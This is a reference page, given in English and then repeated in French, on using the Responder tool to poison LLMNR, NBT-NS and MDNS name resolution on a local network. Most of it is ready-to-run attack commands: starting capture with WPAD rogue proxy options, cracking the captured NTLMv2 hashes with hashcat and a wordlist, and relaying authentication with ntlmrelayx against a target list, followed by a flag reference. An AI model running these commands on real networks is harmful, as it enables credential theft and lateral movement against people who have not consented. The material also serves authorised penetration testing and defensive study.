Responder

Overview

Responder poisons LLMNR, NBT-NS, and MDNS broadcast name resolution queries on the local network segment. When a host tries to resolve a name that doesn’t exist in DNS, Responder answers and captures the NTLM authentication attempt.

Setup

Edit config before running

cat /etc/responder/Responder.conf

# For NTLM relay (disable SMB and HTTP so ntlmrelayx handles them)
# SMB = Off
# HTTP = Off

Standard capture mode

sudo responder -I eth0

With WPAD and NBT-NS/Browser

sudo responder -I eth0 -wPb

Analyse mode (no poisoning — just observe)

sudo responder -I eth0 -A

Captured Hashes

Captured hashes are saved to /usr/share/responder/logs/ and also displayed in the terminal.

Crack captured NTLMv2 hashes

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

Combining with ntlmrelayx

Terminal 1 — Responder (SMB/HTTP off)

sudo responder -I eth0 -rdw

Terminal 2 — ntlmrelayx

ntlmrelayx.py -tf targets.txt -smb2support

See NTLM Relaying for the full relay workflow.

responder -I <interface> [options]

REQUIRED:
  -I INTERFACE    Network interface to listen on

POISONING:
  -A              Analyze mode (no poisoning)
  -w              Start WPAD rogue proxy server
  -P              Force NTLM/Basic auth on WPAD
  -b              Return HTTP 401 Basic Auth
  -r              Enable NBT-NS/Browser poisoning (UDP)
  -d              Enable DNS poisoning (replies to A queries)

PROTOCOLS (toggle on/off in Responder.conf):
  SMB, HTTP, HTTPS, FTP, LDAP, MSSQL, IMAP, POP3, SMTP...

FINGERPRINTING:
  -f              Fingerprint remote host OS

OUTPUT:
  Logs saved to /usr/share/responder/logs/
  Format: <protocol>-NTLMv2-<client_ip>.txt

CONFIG FILE: /etc/responder/Responder.conf
  SMB = On/Off
  HTTP = On/Off
  (Disable both when relaying with ntlmrelayx)

Vue d’ensemble

Responder empoisonne les requêtes de résolution de noms broadcast LLMNR, NBT-NS et MDNS sur le segment réseau local. Lorsqu’un hôte tente de résoudre un nom inexistant dans le DNS, Responder répond et capture la tentative d’authentification NTLM.

Configuration

# Modifier la configuration avant de lancer
cat /etc/responder/Responder.conf

# Pour le relay NTLM (désactiver SMB et HTTP pour que ntlmrelayx les gère)
# SMB = Off
# HTTP = Off

# Mode de capture standard
sudo responder -I eth0

# Avec WPAD et NBT-NS/Browser
sudo responder -I eth0 -wPb

# Mode analyse (pas d'empoisonnement : observation uniquement)
sudo responder -I eth0 -A

Hachages capturés

Les hachages capturés sont sauvegardés dans /usr/share/responder/logs/ et affichés dans le terminal.

# Craquer les hachages NTLMv2 capturés
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

Combinaison avec ntlmrelayx

# Terminal 1 : Responder (SMB/HTTP désactivés)
sudo responder -I eth0 -rdw

# Terminal 2 : ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support

Voir NTLM Relaying pour le workflow complet de relay.

responder -I <interface> [options]

REQUIRED:
  -I INTERFACE    Network interface to listen on

POISONING:
  -A              Analyze mode (no poisoning)
  -w              Start WPAD rogue proxy server
  -P              Force NTLM/Basic auth on WPAD
  -b              Return HTTP 401 Basic Auth
  -r              Enable NBT-NS/Browser poisoning (UDP)
  -d              Enable DNS poisoning (replies to A queries)

PROTOCOLS (toggle on/off in Responder.conf):
  SMB, HTTP, HTTPS, FTP, LDAP, MSSQL, IMAP, POP3, SMTP...

FINGERPRINTING:
  -f              Fingerprint remote host OS

OUTPUT:
  Logs saved to /usr/share/responder/logs/
  Format: <protocol>-NTLMv2-<client_ip>.txt

CONFIG FILE: /etc/responder/Responder.conf
  SMB = On/Off
  HTTP = On/Off
  (Disable both when relaying with ntlmrelayx)